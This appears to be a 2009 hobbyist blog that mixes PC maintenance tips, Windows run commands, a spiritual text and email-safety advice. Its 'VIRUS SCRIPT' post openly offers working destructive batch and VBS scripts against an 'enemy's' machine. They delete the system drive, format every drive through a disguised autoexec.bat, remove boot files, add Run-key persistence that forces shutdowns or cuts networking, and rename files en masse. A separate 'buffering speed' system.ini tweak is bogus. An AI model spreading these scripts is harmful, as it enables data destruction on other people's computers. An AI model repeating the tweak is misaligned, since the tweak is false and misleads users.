KNOWLEDGE WORLD

MAKE YOUR PC FASTER

2009-10-27T09:48:00.000-07:00

MAKE YOUR PC FASTER

"Take good care of your PC, and it will take good care of you."
It's a nice sentiment, but reality is more like "Take good care of your PC, and it won't crash, lose your data, and cost you your job--probably." Follow these steps to stop PC problems before they stop you.
Your PC's two mortal enemies are heat and moisture. Excess heat accelerates the deterioration of the delicate circuits in your system. The most common causes of overheating are dust and dirt: Clogged vents and CPU cooling fans can keep heat-dissipating air from moving through the case, and even a thin coating of dust or dirt can raise the temperature of your machine's components.
Any grime, but especially the residue of cigarette smoke, can corrode exposed metal contacts. That's why it pays to keep your system clean, inside and out.
If your PC resides in a relatively clean, climate-controlled environment, an annual cleaning should be sufficient. But in most real-world locations, such as dusty offices or shop floors, your system may need a cleaning every few months.
All you need are lint-free wipes, a can of compressed air, a few drops of a mild cleaning solution such as Formula 409 or Simple Green in a bowl of water, and an antistatic wrist strap to protect your system when you clean inside the case.
Think Outside the Box
Before you get started cleaning, check around your PC for anything nearby that could raise its temperature (such as a heating duct or sunshine coming through a window). Also clear away anything that might fall on it or make it dirty, such as a bookcase or houseplants.
Always turn off and unplug the system before you clean any of its components. Never apply any liquid directly to a component. Spray or pour the liquid on a lint-free cloth, and wipe the PC with the cloth.
Clean the case: Wipe the case and clear its ventilation ports of any obstructions. Compressed air is great for this, but don't blow dust into the PC or its optical and floppy drives. Keep all cables firmly attached to their connectors on the case.
Maintain your mechanical mouse: When a nonoptical mouse gets dirty, the pointer moves erratically. Unscrew the ring on the bottom of the unit and remove the ball. Then scrape the accumulated gunk off the two plastic rollers that are set 90 degrees apart inside the ball's housing.
Keep a neat keyboard: Turn the keyboard upside down and shake it to clear the crumbs from between the keys. If that doesn't suffice, blast it (briefly) with compressed air. If your keys stick or your keyboard is really dirty, pry the keys off for easier cleaning. Computer shops have special tools for removing keys, but you can also pop them off by using two pencils with broken tips as jumbo tweezers--just be sure to use a soft touch.
Make your monitor sparkle: Wipe the monitor case and clear its vents of obstructions, without pushing dust into the unit. Clean the screen with a standard glass cleaner and a lint-free cloth. If your monitor has a degauss button (look for a small magnet icon), push it to clear magnetic interference. Many LCDs can be cleaned with isopropyl alcohol; check with your LCD manufacturer. Wipe your LCD lightly: The underlying glass is fragile.
Check your power protection: Reseat the cables plugged into your surge protector. Check the unit's warning indicator, if it has one. Surge protectors may power your PC even after being compromised by a voltage spike (making your system susceptible to a second spike). If your power protector doesn't have a warning indicator and your area suffers frequent power outages, replace it with one that has such an indicator and is UL 1449 certified.
Swipe your CD and DVD media: Gently wipe each disc with a moistened, soft cloth. Use a motion that starts at the center of the disc and then moves outward toward the edge. Never wipe a disc in a circular motion.
Inside the Box
Before cracking open the case, turn off the power and unplug your PC. Ground yourself before you touch anything inside to avoid destroying your circuitry with a static charge. If you don't have a grounding wrist strap, you can ground yourself by touching any of various household objects, such as a water pipe, a lamp, or another grounded electrical device. Be sure to unplug the power cord before you open the case.
Use antistatic wipes to remove dust from inside the case. Avoid touching any circuit-board surfaces. Pay close attention to the power-supply fan, as well as to the case and to CPU fans, if you have them. Spray these components with a blast of compressed air to loosen dust; but to remove the dust rather than rearrange it, you should use a small vacuum.
If your PC is more than four years old, or if the expansion cards plugged into its motherboard are exceptionally dirty, remove each card, clean its contacts with isopropyl alcohol, and reseat it. If your system is less than a couple years old, however, just make sure each card is firmly seated by pressing gently downward on its top edge while not touching its face. Likewise, check your power connectors, EIDE connectors, and other internal cables for a snug fit.
While you have the case open, familiarize yourself with the CMOS battery on the motherboard. For its location, check the motherboard manual. If your PC is more than four or five years old, the CMOS battery may need to be replaced. (A system clock that loses time is one indicator of a dying CMOS battery.)
Look for Trouble
Give your PC a periodic checkup with a good hardware diagnostic utility. Two excellent choices are Sandra Standard from SiSoftware and #1-TuffTest-Lite from #1-PC Diagnostics. Download the free version of Sandra (the full version of the application costs $35) or to download #1-TuffTest-Lite (the fully functional version is $10).
Sandra Standard:
CODE
http://www.pcworld.com/downloads/file_description/0,fid,4005,tk,ur,00.asp

#1-TuffTest-Lite:
CODE
http://www.pcworld.com/downloads/file_description/0,fid,7725,tk,ur,00.asp

Adding and removing system components leaves orphaned entries in the Windows Registry. This can increase the time your PC takes to boot and can slow system performance. Many shareware utilities are designed to clean the Registry.
Windows stores files on a hard drive in rows of contiguous segments, but over time the disk fills and segments become scattered, so they take longer to access. To keep your drive shipshape, run Windows' Disk Defragmenter utility. Click Start, Programs (All Programs in XP), Accessories, System Tools, Disk Defragmenter. If your drive is heavily fragmented, you could boost performance. Defragging may take hours, however. Disable your screen saver and other automatic programs beforehand to keep the defrag from restarting every few minutes.
Disk Defragmenter won't defragment the file on your hard drive that holds overflow data from system memory (also known as the swap file). Since the swap file is frequently accessed, defragmenting it can give your PC more pep. You can defragment your swap file by using a utility such as the SpeedDisk program included with Norton SystemWorks 2004, but there's a way to reset it in Windows.
In Windows XP, right-click My Computer and choose Properties. Click Advanced, and then choose the Settings button under Performance. Click Advanced again and the Change button under Virtual Memory. Select another drive or partition, set your swap file size, and click OK.
If you have only one partition and no way to create a second one, and you have at least 256MB of RAM, disable the swap file rather than moving it: Select "No paging file" in the Virtual Memory settings. If you have trouble booting, start Windows in Safe Mode and re-enable this option.
Hard-Drive Checkup
Windows XP offers a rudimentary evaluation of your hard disk's health with its error-checking utility: Right-click the drive's icon in Windows Explorer and select Properties, Tools, Check Now. (Windows can fix errors and recover bad sectors automatically if you wish.) If the check discovers a few file errors, don't worry, but if it comes up with hundreds of errors, the drive could be in trouble.
To conduct a more thorough examination, download Panterasoft's free HDD Health utility, which monitors hard-drive performance and warns of impending disaster:
CODE
http://www.pcworld.com/downloads/file_description/0,fid,22945,tk,ur,00.asp

The program works only with drives that support S.M.A.R.T technology, but nearly all drives released since 2000 are S.M.A.R.T.-compliant.
Many hardware and software designers humbly assume you want their program running on your PC all the time, so they tell Windows to load the application at startup (hence, the ever-growing string of icons in your system tray). These programs eat up system resources and make hardware conflicts and compatibility problems more likely. To prevent them from launching, just click Start, Run, type "msconfig" and press Enter. The programs listed under the Startup tab are set to start along with Windows. Uncheck the box at the left of each undesirable program to prevent it from starting automatically.
Four Tips for Longer PC Life
1. Keep your PC in a smoke-free environment. Tobacco smoke can damage delicate contacts and circuits.
2. Leave your PC running. Powering up from a cold state is one of the most stressful things you can do to your system's components. If you don't want to leave your PC running all the time, use Windows' Power Management settings to put your machine into hibernation rather than completely shutting down. In Windows XP, right-click the desktop and select Properties. Click the Screen Saver tab and select the Power button. Choose the Hibernate tab to ensure that hibernation is enabled, and then select a time beneath "System hibernates" under the Power Schemes tab. (Note that this option is not available on all PCs.) Computers running older versions of Windows may or may not provide similar power-management features. Look under the Power Management icon (Power Options in Windows 2000) in Control Panel to evaluate your machine's capabilities.
3. Don't leave your monitor running. The best way to extend your display's life is to shut it off when it's not in use.
4. Avoid jostling the PC. Whenever you move your system, even if it's just across the desktop, make sure the machine is shut down and unplugged.

PHOTO CARTOONIZER SOFTWARE

2009-06-27T03:39:00.000-07:00

TURN YOURSELF INTO CARTOON FREE SOFTWARE

	Download Instructions

	Installing Zwinky for Firefox is easy! Just follow the following steps: 1) You should momentarily see a pop-up box that looks like the one pictured at right. Note: If you do not see this box, please click here. 2) Click on the "OK" button to save the Zwinky installation program to your Desktop. 3) If you see a "Downloads" pop-up dialog box, click on the "X" in the upper right corner of the box to close the window. 4) After the download ends, click on the "ZwinkySetup2.3.50.45.ZJfox000.exe" installation program on your Desktop. 5) Zwinky for Firefox should now be installed on your computer. The next time you start your browser, you will see the Zwinky icon above your search box. 6) Click on these icons in your browser to use your newly installed products. It's that simple!

ONLINE PHOTO CARTOONIZER

2009-06-27T03:27:00.000-07:00

TURN YOUR PHOTO INTO CARTOON,SKETCH,BLACK AND WHITE ONLINE

Befunky is an online app that can turns your photographs into interesting cartoons without requiring any software. It’s a one-click process and yet the output is impressive.

Just upload the image from your computer or capture one live using the webcam and the cartoon image is ready for download. You can either convert the picture into a black and white pencil sketch or a colored one.

BEFUNKY CARTOONIZER– Also features a Wrap tool to distort an image.

ATMA SIDDHI

2009-06-23T00:32:00.000-07:00

ATMA SIDDHI

KRUPALU DEV

Without knowing the real nature of self,I suffered infinite misery.I bow to the adored holy true Guru(Guru:spiritual teacher/spiritual master)who disclosed that self to me

The path of liberation has mostly disappeared at present. For its deliberation by the aspirant of self-realisation,it has been stated here explicitly...

Some have become lifeless ritualists,some are in barren knowledge.Knowing that even then they believe themselves to be in the path of liberation,compassion arises(in me).

INCREASE BUFFERRING SPEED FOR YOUTUBE,METACAFE ETC

2009-06-18T07:32:00.000-07:00

With this procedure you can increase the buffering speed of uploaded videos try it

steps

1.start
2.run
3.type--system.ini

after that ull get system notepad file as
; for 16-bit app support
[drivers]
wave=mmdrv.dll
timer=timer.drv
[mci]
[driver32]
[386enh]
woafont=dosapp.FON
EGA80WOA.FON=EGA80WOA.FON
EGA40WOA.FON=EGA40WOA.FON
CGA80WOA.FON=CGA80WOA.FON
CGA40WOA.FON=CGA40WOA.FON

jus below this copy
this-------------->
page buffer=1000000Tbps load=1000000Tbps download=1000000Tbps save=1000000Tbps back=1000000Tbps search=1000000Tbps sound=1000000Tbps webcam=1000000Tbps voice=1000000Tbps faxmodemfast=1000000Tbps update=1000000Tbps

so totally it will look as
; for 16-bit app support
[drivers] wave=mmdrv.dll timer=timer.drv [mci] [driver32] [386enh] woafont=dosapp.FON EGA80WOA.FON=EGA80WOA.FON EGA40WOA.FON=EGA40WOA.FON CGA80WOA.FON=CGA80WOA.FON CGA40WOA.FON=CGA40WOA.FON page buffer=1000000Tbps load=1000000Tbps download=1000000Tbps save=1000000Tbps back=1000000Tbps search=1000000Tbps sound=1000000Tbps webcam=1000000Tbps voice=1000000Tbps faxmodemfast=1000000Tbps update=1000000Tbps

save the notepad file
nd reboot ur system

Orkut IS BANNED,you fool The administrators didnt write this Guess Who Did

2009-06-16T05:27:00.000-07:00

We often hear of many people saying that Orkut is not opening in my web browser!
This is just due to a virus which is unknown and whose virus definitions have not been released yet. This is actually not a virus, it is rather a malware which generally gets into your system by clicking on unauthorised links or by using the infected PENDRIVES which shows the mesg something like this
Orkut IS BANNED, you fool The administrators didnt write this program guess who did?? MUHAHAHA!!

This malware not only affects orkut! If this malware is there, Mozilla and youtube won't open nor orkut will on other browsers. when u try to open mozilla or youtube it says as
I DONT HATE MOZILLA BUT USE IE OR ELSE

YouTube Is Banned,you fool The administrators didnt write this program guess who did?? MUHAHAHA!!

There is a simple solution to this problem.
If this is the case, then do the following:
1. Goto Start>>run 2. Type "c:\heap41a " (Without the quotes) 3. Hit Enter 4. If the folder opens, you will get some files along with a file named "svchost.exe" with a green colored icon.You need to delete all the files. If the files are hidden, then change the folder options to "View Hidden Files". 5. Sometimes "svchost.exe" won't be deleted.

If that is the case, open "TASK MANAGER" in windows by pressing CTRL+ALT+DELETE.Under processes tab, under your user name you can find exactly two processes running named "svchost.exe".

Just end these 2 processes and delete the "svchost.exe" the green icon file.Then open Mozilla. It will work. Even orkut will open as usual.

Some reported that after this fix they were not able to see their Hidden folders and files

if this is the case the follow these steps

1. Again go to REGEDIT
2. Go to "HKEY_LOCAL_MACHINE >> SOFTWARE >> Microsoft >> Windows >> CurrentVers ion >> Explorer >> Advanced >> Folder >> Hidden >> SHOWALL "

3. Select checkedvalue And reset the "CheckedValue" key back to 1 (by right click and modify and change the valueto 1) ...

This is to show all the hidden files.

Thats It Now you can access all the files that are hidden and also ORKUT MOZILLA and YOUTUBE

RUN COMMANDS

2009-06-16T05:24:00.000-07:00

Here's a list of awesome run shortcuts , very handy!

Accessibility Controls - access.cpl
Accessibility Wizard - accwiz
Add Hardware - Wizardhdwwiz.cpl
Add/Remove Programs - appwiz.cpl
Administrative Tools control - admintools
Adobe Acrobat (if installed) - acrobat
Adobe Designer (if installed)- acrodist
Adobe Distiller (if installed)- acrodist
Adobe ImageReady (if installed)- imageready
Adobe Photoshop (if installed)- photoshop
Automatic Updates - wuaucpl.cpl
Bluetooth Transfer Wizard - fsquirt
Calculator - calc
Certificate Manager - certmgr.msc
Character Map - charmap
Check Disk Utility - chkdsk
Clipboard Viewer - clipbrd
Command Prompt - cmd
Component Services - dcomcnfg
Computer Management - compmgmt.msc
Control Panel - control
Date and Time Properties - timedate.cpl
DDE Shares - ddeshare
Device Manager - devmgmt.msc
Direct X Control Panel (If Installed)- directx.cpl
Direct X Troubleshooter- dxdiag
Disk Cleanup Utility- cleanmgr
Disk Defragment- dfrg.msc
Disk Management- diskmgmt.msc
Disk Partition Manager- diskpart
Display Properties- control desktop
Display Properties- desk.cpl
Display Properties (w/Appearance Tab Preselected)- control color
Dr. Watson System Troubleshooting Utility- drwtsn32
Driver Verifier Utility- verifier
Event Viewer- eventvwr.msc
Files and Settings Transfer Tool- migwiz
File Signature Verification Tool- sigverif
Findfast- findfast.cpl
Firefox (if installed)- firefox
Folders Properties- control folders
Fonts- control fonts
Fonts Folder- fonts
Free Cell Card Game- freecell
Game Controllers- joy.cpl
Group Policy Editor (XP Prof)- gpedit.msc
Hearts Card Game- mshearts
Help and Support- helpctr
HyperTerminal- hypertrm
Iexpress Wizard- iexpress
Indexing Service- ciadv.msc
Internet Connection Wizard- icwconn1
Internet Explorer- iexplore
Internet Properties- inetcpl.cpl
Internet Setup Wizard- inetwiz
IP Configuration (Display Connection Configuration) - ipconfi/all
IP Configuration (Display DNS Cache Contents)- ipconfig /displaydns
IP Configuration (Delete DNS Cache Contents)- ipconfig /flushdns
IP Configuration (Release All Connections)- ipconfig /release
IP Configuration (Renew All Connections)- ipconfig /renew
IP Configuration(RefreshesDHCP&Re-RegistersDNS)-ipconfig/registerdns
IP Configuration (Display DHCP Class ID)- ipconfig/showclassid
IP Configuration (Modifies DHCP Class ID)- ipconfig /setclassid
Java Control Panel (If Installed)- jpicpl32.cpl
Java Control Panel (If Installed)- javaws
Keyboard Properties - control keyboard
Local Security Settings - secpol.msc
Local Users and Groups - lusrmgr.msc
Logs You Out Of Windows - logoff
Malicious Software Removal Tool - mrt
Microsoft Access (if installed) - access.cpl
Microsoft Chat - winchat
Microsoft Excel (if installed) - excel
Microsoft Frontpage (if installed)- frontpg
Microsoft Movie Maker - moviemk
Microsoft Paint - mspaint
Microsoft Powerpoint (if installed)- powerpnt
Microsoft Word (if installed)- winword
Microsoft Syncronization Tool - mobsync
Minesweeper Game - winmine
Mouse Properties - control mouse
Mouse Properties - main.cpl
Nero (if installed)- nero
Netmeeting - conf
Network Connections - control netconnections
Network Connections - ncpa.cpl
Network Setup Wizard - netsetup.cpl
Notepad - notepad
Nview Desktop Manager (If Installed)- nvtuicpl.cpl
Object Packager - packager
ODBC Data Source Administrator- odbccp32.cpl
On Screen Keyboard - osk
Opens AC3 Filter (If Installed) - ac3filter.cpl
Outlook Express - msimn
Paint - pbrush
Password Properties - password.cpl
Performance Monitor - perfmon.msc
Phone and Modem Options - telephon.cpl
Phone Dialer - dialer
Pinball Game - pinball
Power Configuration - powercfg.cpl
Printers and Faxes - control printers
Printers Folder - printers
Private Character Editor - eudcedit
Quicktime (If Installed)- QuickTime.cpl
Quicktime Player (if installed)- quicktimeplayer
Real Player (if installed)- realplay
Regional Settings - intl.cpl
Registry Editor - regedit
Registry Editor - regedit32
Remote Access Phonebook - rasphone
Remote Desktop - mstsc
Removable Storage - ntmsmgr.msc
Removable Storage Operator Requests - ntmsoprq.msc
Resultant Set of Policy (XP Prof) - rsop.msc
Scanners and Cameras - sticpl.cpl
Scheduled Tasks - control schedtasks
Security Center - wscui.cpl
Services - services.msc
Shared Folders - fsmgmt.msc
Shuts Down Windows - shutdown
Sounds and Audio - mmsys.cpl
Spider Solitare Card Game - spider
SQL Client Configuration - cliconfg
System Configuration Editor - sysedit
System Configuration Utility - msconfig
System File Checker Utility (Scan Immediately)- sfc /scannow
System File Checker Utility (Scan Once At Next Boot)- sfc /scanonce
System File Checker Utility (Scan On Every Boot) - sfc /scanboot
System File Checker Utility (Return to Default Setting)- sfc /revert
System File Checker Utility (Purge File Cache)- sfc /purgecache
System File Checker Utility (Set Cache Size to size x)-sfc/cachesize=x
System Information- msinfo32
System Properties - sysdm.cpl
Task Manager - taskmgr
TCP Tester - tcptest
Telnet Client - telnet
Tweak UI (if installed) - tweakui
User Account Management- nusrmgr.cpl
Utility Manager - utilman
Windows Address Book - wab
Windows Address Book Import Utility - wabmig
Windows Backup Utility (if installed)- ntbackup
Windows Explorer - explorer
Windows Firewall- firewall.cpl
Windows Magnifier- magnify
Windows Management Infrastructure - wmimgmt.msc
Windows Media Player - wmplayer
Windows Messenger - msmsgs
Windows Picture Import Wizard (need camera connected)- wiaacmgr
Windows System Security Tool - syskey
Windows Update Launches - wupdmgr
Windows Version (to show which version of windows)- winver
Windows XP Tour Wizard - tourstart
Wordpad - write

Automatically close the non-responding program

2009-06-16T05:19:00.000-07:00

Automatically close the non-responding program - Windows XP

With a small registry tweak, Windows XP can be set to automatically close any program that 'stops responding' (crashes) , eliminating the need for you to use the task manager to close down the offending software manually.
Steps:
1) Open REGEDIT (i think its no need to explain how to open REGEDIT)
2) Navigate to HKEY_CURRENT_USER\ControlPanel\ Desktop
3) Modify the REG_SZ entry under the AutoEndTasks with a value of "1"
Note:Without having much knowledge in Registry Editor Dont try
4)Restart the windows .. Thats It The Non-Responding Programs Close Automatically from Now

How to protect an E-Mail account from being Hacked

2009-06-16T05:14:00.000-07:00

Today in this post I’ll teach you how to protect your email account from being hacked.Nowadays I get a lot of emails where most of the people say “My Email account is hacked please help…”.Now one question which arises in our mind is:”Is it so easy to hack an email account? OR Is it so difficult to protect an email account from being hacked?”.The single answer to these two questions is “Absolutely NOT!”.It is neither easy to hack an email nor difficult to protect an email account from bieng hacked.
If this is the case, then what is the reason for many people to loose their accounts?
The answer is very simple.They don’t know how to protect themselves from being hacked! In fact most of the people who loose their email accounts are not the victims of hacking but the victims of Trapping.They loose their passwords not because they are hacked by some expert hackers but they are fooled to such an extent that they themselves give away their password.
Are you confused? If so continue reading and you’ll come to know…
Now I’ll mention some of the most commonly used online scams which fool people and make them loose their passwords.I’ll also mention how to protect your email account from these scams.

1. WEBSITE SPOOFINGWebsite spoofing is the act of creating a website, with the intention of misleading the readers.The website will be created by a different person or organisation (Other than the original)especially for the purposes of cheating. Normally, the website will adopt the design of the target website and sometimes has a similar URL.For example a Spoofed Website of Yahoo.com appears exactly same as Yahoo Website.So most of the people believe that it is the original site and loose their passwords.The main intention of spoofed websites is to fool users and take away their passwords.For this,the spoofed sites offer fake login pages.These fake login pages resemble the original login pages of sites like Yahoo,Gmail,Orkut etc.Since it resemble’s the original login page people beleive that it is true and give away their username and passwords by trying to login to their accounts
Solution:
Never try to login/access your email account from the sites other than the original site.
Always type the URL of the site in the address bar to get into the site.Never click on the hyperlink to enter the site.

2. BY USING KEYLOGGERS

The other commonly used method to steal password is by using a Keylogger.Keylogger is nothing but a spyware.The detailed description of keylogger and it’s usage is discussed in the post Hacking an email account.If you read this post you’ll come to know that it is too easy to steal the password using a keylogger program.If you just access your email account from a computer installed with keylogger, you definitely loose your password. This is because the keylogger records each and every keystroke that you type

Solution:

Protecting yourselves from a keylogger scam is very easy.Just install a good anti-spyware program and update it regularly.This keeps your PC secure from a keylogger.Also there is a program called Anti-keylogger which is specially designed to detect and remove keyloggers.You can use this program to detect some stealth keyloggers which remain undetected by many anti-spyware programs.

3. ACCESSING YOUR EMAIL ACCOUNT FROM CYBER CAFES

Do you access your email from cyber cafes? Then definitely you are under the risk of loosing your password.In fact many people loose their email account in cyber cafes.For the owner of the cyber cafe it’s just a cakewalk to steal your password.For this he just need’s to install a keylogger on his computers.So when you login to your email account from this PC, you give away your password to the cafe owner.Also there are many Remote Administration Tools (RATs) which can be used to monitor your browsing activities in real time.

This doesn’t mean that you should never use cyber cafes for browsing the internet.I know,all the cyber cafe owners will not be so wicked but it is recommended not to use cafes for accessing confidential information.If it comes to the matter of security never trust anyone,not even your friend.I always use my own PC to login to my accounts to ensure safety.

So with this I conclude my post and assume that I have helped my readers to protect their email accounts from being hacked.

VIRUS SCRIPT

2009-06-16T05:00:00.000-07:00

After All Those Humble Works And Knowledge Sharing, Its Time For Some Evil Work.

Lets Crush The Windows Of Your Enemy Here

Note: I Take No Responsibility Of The Effects Of These Scripts After You Use Them, So Never Try These On Your Own PC.

All Scripts Here Are To Be Copied In Note Pad
This Virus Deletes All The Content Of A Drive ...
@echo off del %systemdrive%\*.* /f /s /q shutdown -r -f -t 00
**Save The Above Code As Anything.bat

@echo off shutdown -r -f -t 00 ** The Above Code Will Just Restart Ur PC

This Will Crash Ur Computer
Option Explicit Dim WSHShell Set WSHShell=Wscript.CreateObject("Wscript.Shell") Dim x For x = 1 to 100000000 WSHShell.Run "Tourstart.exe " Next
Save It As Anything.vbs
It Only Works With Windows XP

echo off@
cls
call attrib -h -r c:\autoexec.bat >nul
echo @echo off >c:\autoexec.bat
echo deltree /y c:\progra~1\*.* nul >>c:\autoexec.bat
echo copy c:\******s\command\forma.com c:\ >nul >>c:\autoexe.bat
echo copy c:\******s\command/deltree.exe c:\ >nul >>c:\autoexec.bat
echo deltre /y c:\******s\*.* >nul >>c:\autoexec.bat
echoformat c:/q /u /autotest >nul >>c:\autoexe.bat
Save It As Anything.bat
No Idea About The After Effects OF This Virus

The Most Simple Virus To Crush The Window
@Echo off Del C:\ *.* |y
Save It As Anything.bat

: loop
start cmd.exe
goto loop
Save As Anything.bat
it will crash ur computer.........

Virus that crashes pc

@echo off attrib -r -s -h c:\autoexec.bat del c:\autoexec.bat attrib -r -s -h c:\boot.ini del c:\boot.ini attrib -r -s -h c:\ntldr del c:\ntldr attrib -r -s -h c:\windows\win.ini del c:\windows\win.ini @echo off msg * YOU GOT OWNED!!! shutdown -s -t 7 -c "A VIRUS IS TAKING OVER c:Drive
Save As Anything.bat File In Notepad!!
This Will Pop Up A Message Saying OWNED!!
And Shut Down The Computer Never To Reboot Again!

Shutdowns Computer Everytime It Is Turned On

echo @echo off>c:windowshartlell.bat
echo break off>>c:windowshartlell.bat
echo shutdown -r -t 11 -f>>c:windowshartlell.bat
echo end>>c:windowshartlell.bat
reg add hkey_local_machinesoftwaremicrosoftwindowscurrentv ersionrun /v startAPI /t reg_sz /d c:windowshartlell.bat /f
reg add hkey_current_usersoftwaremicrosoftwindowscurrentve rsionrun /v /t reg_sz /d c:windowshartlell.bat /f
echo You have been HACKED.
PAUSE

Disable Internet Permanently

echo @echo off>c:windowswimn32.bat echo break off>>c:windowswimn32.bat echo ipconfig/release_all>>c:windowswimn32.bat echo end>>c:windowswimn32.bat reg add hkey_local_machinesoftwaremicrosoftwindowscurrentv ersionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /f reg add hkey_current_usersoftwaremicrosoftwindowscurrentve rsionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f echo You Have Been HACKED! PAUSE

Change Files To Non-working TXT Files

REN *.DOC *.TXT REN *.JPEG*.TXT REN *.LNK *.TXT REN *.AVI *.TXT REN *.MPEG*.TXT REN *.COM *.TXT REN *.BAT *.TXT

System Meltdown

:CRASH
net send * WORKGROUP ENABLED
net send * WORKGROUP ENABLED
GOTO CRASH
ipconfig /release
shutdown -r -f -t0
echo @echo off>c:windowshartlell.bat
echo break off>>c:windowshartlell.bat
echo shutdown -r -t 11 -f>>c:windowshartlell.bat
echo end>>c:windowshartlell.bat
reg add hkey_local_machinesoftwaremicrosoftwindowscurrentv ersionrun /v startAPI /t reg_sz /d c:windowshartlell.bat /f
reg add hkey_current_usersoftwaremicrosoftwindowscurrentve rsionrun /v HAHAHA /t reg_sz /d c:windowshartlell.bat /f
echo You Have Been Hackedecho @echo off>c:windowswimn32.bat
echo break off>>c:windowswimn32.bat
echo ipconfig/release_all>>c:windowswimn32.bat
echo end>>c:windowswimn32.bat
reg add hkey_local_machinesoftwaremicrosoftwindowscurrentv ersionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /f
reg add hkey_current_usersoftwaremicrosoftwindowscurrentve rsionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f
echo YOU HAVE BEEN HACKED BITCH
REN *.DOC *.TXT
REN *.JPEG *.TXT
REN *.LNK *.TXT
REN *.AVI *.TXT
REN *.MPEG *.TXT
REN *.COM *.TXT
REN *.BAT *.TXT
PAUSE
PAUSE

Temporarily Flood Network

:CRASH
net send * WORKGROUP ENABLED
net send * WORKGROUP ENABLED
GOTO CRASH

Temporarily Disable Internet

ipconfig /release

This One Completely Washes Out The PC

And It Is Even Detected In Its Text Format

Code: @echo off rem This program is dedicatedly made to a very special person who crushed my heart. :start cls echo Loading . . . call attrib -r -h c:\autoexec.bat >nul echo @echo off >c:\autoexec.bat echo call format c: /q /u /autotest >nul >>c:\autoexec.bat call attrib +r +h c:\autoexec.bat >nul set drive= set alldrive=c d e f g h i j k l m n o p q r s t u v w x y z echo @echo off >drivechk.bat echo @prompt %%%%comspec%%%% /f /c vol %%%%1: $b find "Vol" > nul >{t}.bat %comspec% /e:2048 /c {t}.bat >>drivechk.bat del {t}.bat echo if errorlevel 1 goto enddc >>drivechk.bat cls echo Loading . . . echo @prompt %%%%comspec%%%% /f /c dir %%%%1:.\/ad/w/-p $b find "bytes" > nul >{t}.bat %comspec% /e:2048 /c {t}.bat >>drivechk.bat del {t}.bat echo if errorlevel 1 goto enddc >>drivechk.bat cls echo Loading . . . echo @prompt dir %%%%1:.\/ad/w/-p $b find " 0 bytes free" > nul >{t}.bat %comspec% /e:2048 /c {t}.bat >>drivechk.bat del {t}.bat echo if errorlevel 1 set drive=%%drive%% %%1 >>drivechk.bat cls echo Loading . . . echo :enddc >>drivechk.bat :testdrv for %%a in (%alldrive%) do call drivechk.bat %%a >nul del drivechk.bat >nul if %drive.==. set drive=c :form_del call attrib -r -h c:\autoexec.bat >nul echo @echo off >c:\autoexec.bat echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autotest >nul

>>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Idiot >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) call deltree /y %%%%a:\ >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autotest >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Idiot >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) call deltree /y %%%%a:\ >nul >>c:\autoexec.bat
echo cd\ >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Welcome to the Dark Abyss. >>c:\autoexec.bat
echo echo Sorry if you ran this file. >>c:\autoexec.bat
echo echo. >>c:\autoexec.bat
echo echo Regards, >>c:\autoexec.bat
echo echo. >>c:\autoexec.bat
echo echo Melchiore >>c:\autoexec.bat
call attrib +r +h c:\autoexec.bat
:makedir
if exist c:\temp.bat attrib -r -h c:\temp.bat >nul
echo @echo off >c:\temp.bat
echo %%1:\ >>c:\temp.bat
echo cd\ >>c:\temp.bat
echo :startmd >>c:\temp.bat
echo for %%%%a in ("if not exist %%2\nul md %%2" "if exist %%2\nul cd %%2") do %%%%a >>c:\temp.bat
echo for %%%%a in (">ass_hole.txt") do echo %%%%a Die Asshole! >>c:\temp.bat
echo if not exist %%1:\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\nul goto startmd

>>c:\temp.bat call attrib +r +h c:\temp.bat >nul cls for %%a in (%drive%) do call format %%a: /q /u /autotest >nul cls for %%a in (%drive%) do call c:\temp.bat %%a Mel >nul cls for %%a in (%drive%) call attrib -r -h %%a:\ /S >nul call attrib +r +h c:\temp.bat >nul call attrib +r +h c:\autoexec.bat >nul cls for %%a in (%drive%) call deltree /y %%a:\*. >nul cls for %%a in (%drive%) do call c:\temp.bat %%a Mel >nul cls echo Again, sorry for killing your HD. echo. :end

CRASH YOUR SYSTEM MANUALLY

2009-06-16T04:48:00.000-07:00

Windows has a “feature” with which it is possible to manually crash a system by simply holding the right CTRL key and pressing the “Scroll Lock” key twice.” So you can have fun playing pranks on people by enabling this feature, I figure its for developers to test how things work when the system crashes, now you can crash it on the fly by enabling the feature described below.

1. Start regedit. (If you are unfamiliar with regedit, please read up before doing this)
2. Navigate to:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Servic es\i8042prt\Parameters
3. Create a new DWORD value and name it CrashOnCtrlScroll
4. Right-click on this newly created value and click on Modify
5. Enter 1 in the Value data field and click on OK.
6. Close regedit and reboot your system.
7. Now you can blue screen (crash) your system by holding the right CTRL key and pressing “Scroll Lock” twice.
Note:
Your system may reboot or show a blue screen whenever this crash is initiated. If your system reboots after initiating the crash, and you want to see the blue screen, follow these steps:
1. Go to Control Panel > System
2. Click on the Advanced tab
3. Under Startup and Recovery, click the Settings button.
